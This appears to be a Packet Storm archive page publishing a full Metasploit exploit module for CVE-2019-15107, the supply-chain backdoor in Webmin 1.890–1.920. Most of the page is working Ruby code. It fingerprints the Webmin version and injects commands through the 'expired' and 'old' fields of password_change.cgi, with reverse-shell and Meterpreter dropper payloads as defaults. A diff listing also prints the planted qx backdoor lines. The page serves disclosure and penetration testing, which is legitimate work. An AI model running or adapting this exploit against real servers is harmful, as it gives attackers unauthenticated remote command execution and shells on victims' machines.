exploit the possibilities

Webmin 1.920 password_change.cgi Backdoor

Webmin 1.920 password_change.cgi Backdoor
Posted Aug 23, 2019
Authored by wvu | Site metasploit.com

This Metasploit module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project's site. Unknown attacker(s) inserted Perl qx statements into the build server's source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920. Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled.

tags | exploit, perl
advisories | CVE-2019-15107
MD5 | a2360d86ccb3b9b45e1315630a785649

Webmin 1.920 password_change.cgi Backdoor

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin password_change.cgi Backdoor',
'Description' => %q{
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
Only the SourceForge downloads were backdoored, but they are listed as
official downloads on the project's site.

Unknown attacker(s) inserted Perl qx statements into the build server's
source code on two separate occasions: once in April 2018, introducing
the backdoor in the 1.890 release, and in July 2018, reintroducing the
backdoor in releases 1.900 through 1.920.

Only version 1.890 is exploitable in the default install. Later affected
versions require the expired password changing feature to be enabled.
},
'Author' => [
'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module
'wvu' # This module and updated information about the backdoor
],
'References' => [
['CVE', '2019-15107'], # y tho
['URL', 'http://www.webmin.com/exploit.html'],
['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],
['URL', 'https://blog.firosolutions.com/exploits/webmin/'],
['URL', 'https://github.com/webmin/webmin/issues/947']
],
'DisclosureDate' => '2019-08-10',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => [
Gem::Version.new('1.890'), Gem::Version.new('1.920')
],
'Type' => :unix_memory,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => [
Gem::Version.new('1.890'), Gem::Version.new('1.920')
],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
Opt::RPORT(10000),
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

unless res
vprint_error('Server did not respond')
return CheckCode::Unknown
end

version =
res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first

unless version
vprint_error('Webmin version not detected')
return CheckCode::Unknown
end

version = Gem::Version.new(version)

vprint_status("Webmin #{version} detected")
checkcode = CheckCode::Detected

unless version.between?(*target['Version'])
vprint_error("Webmin #{version} is not a supported target")
return CheckCode::Safe
end

vprint_good("Webmin #{version} is a supported target")
checkcode = CheckCode::Appears

res = execute_command("echo #{token}")

unless res
vprint_error('Webmin did not respond to check command')
return checkcode
end

if res.body.include?('Password changing is not enabled!')
vprint_error('Expired password changing disabled')
return CheckCode::Safe
end

if res.body.include?(token)
vprint_good('Webmin executed a benign check command')
checkcode = CheckCode::Vulnerable
else
vprint_error('Webmin did not execute our check command')
return CheckCode::Safe
end

checkcode
end

def exploit
# These CheckCodes are allowed to pass automatically
checkcodes = [
CheckCode::Appears,
CheckCode::Vulnerable
]

unless checkcodes.include?(check) || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

print_status("Configuring #{target.name} target")

case target['Type']
when :unix_memory
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")

res = execute_command(payload.encoded)

if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Dumping command output in full response body')

if res.body.empty?
print_error('Empty response body, no command output')
return
end

print_line(res.body)
end
when :linux_dropper
print_status("Sending #{datastore['PAYLOAD']} command stager")
execute_cmdstager
end
end

=begin
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
#!/usr/bin/perl
2:1c
#!/usr/local/bin/perl
====1
1:12c
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
# Show ok page
3:200c

wvu@kharak:~/Downloads$
=end
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' => {'Referer' => full_uri},
'vars_post' => {
# 1.890
'expired' => cmd,
# 1.900-1.920
'new1' => token,
'new2' => token,
'old' => cmd
}
}, 3.5)
end

def token
@token ||= Rex::Text.rand_text_alphanumeric(8..42)
end

end

Comments (1)

RSS Feed Subscribe to this comment feed
mandelson

"unknown" hacker? I afraid this is far not a single case when sourceforge downloads appeared to be backdoored or insecure or whatever.. they used bundleware, adware in other projects. no trust to such resources like sourceforge. 0 trust.zero. my own suggestion that we all well know who did this

Comment by mandelson
2019-08-24 19:56:53 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    19 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close